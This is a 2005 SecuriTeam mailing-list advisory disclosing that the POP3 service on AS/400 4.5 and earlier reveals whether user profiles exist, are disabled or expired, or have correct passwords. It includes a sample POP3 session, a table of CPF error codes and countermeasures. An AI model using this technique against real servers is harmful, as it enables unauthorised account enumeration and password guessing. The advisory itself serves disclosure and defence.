

# [UNIX] AS/400 Users Enumeration via POP3

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-04/0086.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 04/17/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 17 Apr 2005 19:37:28 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

AS/400 Users Enumeration via POP3

---

## SUMMARY

The POP3 service installed on all modern AS/400 servers, which is turned on by default even in those cases where email serving was not setup, allows remote attackers to enumerate local users of the AS/400 machine.

## DETAILS

Vulnerable Systems:

- \* AS/400 version 4.5 and prior

Note: Previous versions display an uninteresting generic message "--ERR Logon attempt invalid".

To access a POP3 server, you must authenticate and provide a user and a password. Unfortunately, the POP3 users represent real AS/400 user profiles, POP3 will authenticate any valid user profile, and the service provides too much information during authentication.

Let's select a random list of names and passwords, connect to POP3 with a telnet client of your choice, and try to authenticate. Here is what a POP3 session with an AS/400 server looks like:

```
+OK POP3 server ready
```

## Securiteam: [UNIX] AS/400 Users Enumeration via POP3

```
USER bogus
+OK POP3 server ready
PASS xyz
-ERR Logon attempt invalid CPF2204
USER qsysopr
+OK POP3 server ready
PASS xyz
-ERR Logon attempt invalid CPF22E2
USER jdavid
+OK POP3 server ready
PASS xyz
-ERR Logon attempt invalid CPF22E3
USER rbenny
+OK POP3 server ready
PASS xyz
-ERR Logon attempt invalid CPF22E4
USER qspl
+OK POP3 server ready
PASS xyz
-ERR Logon attempt invalid CPF22E5
USER SCARMEL
+OK POP3 server ready
PASS myrealpwd
+OK start sending message
quit
```

The error messages can interpreted as:

```
bogus Error CPF2204 User profile not found
qsysopr Error CPF22E2 Good user, password not correct for user profile
jdavid Error CPF22E3 Good user, bur user profile is disabled
rbenny Error CPF22E4 Good user, but password for user profile has expired
qspl Error CPF22E5 Good user, but no password associated with user profile
scarmel OK Good password, good user
```

The POP3 gateway provides us with yet another way to verify the existence and validity of AS/400 user profiles and passwords. In contrast with Telnet, this method will not disable the terminal device because there is no device. This behavior is similar to that of FTP, which also does not disable the client after unsuccessful login attempts. However, the amount of information disclosed by the server is significantly higher than that of FTP. An automated tool can easily create a list of valid user profiles and of their current status on the server, providing a vector for a social engineering attack. Another factor that is relevant to the POP3 technique is the lack of exit programs associated with the service. Most other services that demand user authentication can be associated with a user-defined exit program that runs whenever the protocol is used. Unsuccessful log in attempts are logged only in the security audit journal, and only if it is turned on. This lack! of control makes POP3 the easier anonymous way to enumerate and list the user profiles.

## Securiteam: [UNIX] AS/400 Users Enumeration via POP3

### Countermeasures:

The POP3 service is very rarely used on iSeries servers, and therefore should be stopped and disabled from starting. The unsuccessful attempts are logged only in the security audit log, if the audit log is turned on.

### ADDITIONAL INFORMATION

The information has been provided by <mailto:shalom@venera.com > Shalom Carmel.

The original article can be found at:

<[http://www.venera.com/downloads/Enumeration\\_of\\_AS400\\_users\\_via\\_pop3.pdf](http://www.venera.com/downloads/Enumeration_of_AS400_users_via_pop3.pdf)>  
[http://www.venera.com/downloads/Enumeration\\_of\\_AS400\\_users\\_via\\_pop3.pdf](http://www.venera.com/downloads/Enumeration_of_AS400_users_via_pop3.pdf)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.